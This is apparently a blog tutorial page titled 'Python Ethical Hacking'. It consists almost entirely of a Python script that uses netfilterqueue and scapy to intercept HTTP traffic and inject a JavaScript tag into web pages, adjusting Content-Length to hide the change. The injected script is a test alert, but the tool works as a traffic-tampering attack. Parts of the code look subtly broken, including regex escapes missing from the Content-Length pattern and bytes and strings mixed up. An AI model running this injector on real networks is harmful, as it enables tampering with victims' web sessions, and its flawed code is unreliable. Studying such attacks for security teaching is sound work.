• Python Ethical Hacking


    Recalculating Content-Length:

    #!/usr/bin/env python
    import re
    
    from netfilterqueue import NetfilterQueue
    from scapy.layers.inet import TCP, IP
    from scapy.packet import Raw
    
    
    def set_load(packet, load):
        packet[Raw].load = load
        del packet[IP].len
        del packet[IP].chksum
        del packet[TCP].chksum
        return packet
    
    
    def process_packet(packet):
        scapy_packet = IP(packet.get_payload())
        # scapy_packet.show()
        if scapy_packet.haslayer(Raw):
            load = scapy_packet[Raw].load
            if scapy_packet[TCP].dport == 80:
                print("[+] Request")
                load = re.sub(b"Accept-Encoding:.*?\r\n", b"", load)
            elif scapy_packet[TCP].sport == 80:
                print("[+] Response")
                injection_code = b"<script>alert('test');</script>"
                load = load.replace(b"</body>", injection_code + b"</body>")
                content_length_search = re.search("(?:Content-Length:s)(d*)", load)
                if content_length_search and "text/html" in load:
                    content_length = content_length_search.group(1)
                    new_content_length = int(content_length) + len(injection_code)
                    load = load.replace(content_length, str(new_content_length))
    
            if load != scapy_packet[Raw].load:
                new_packet = set_load(scapy_packet, load)
                packet.set_payload(str(new_packet).encode())
    
        packet.accept()
    
    
    queue = NetfilterQueue()
    queue.bind(0, process_packet)
    try:
        queue.run()
    except KeyboardInterrupt:
        print('')
    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    STL(七)之萃取技术
    STL(六)之空间配置器
    为Oracle配置监听
    Oracle11.2.01安装过程
    SVN简介
    SVN客户端安装教程
    SVN服务器安装教程
    排序算法-冒泡排序
    使用Struts2实现超级文本的链接
    排序算法-快速排序
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11517275.html
Copyright © 2020-2023  润新知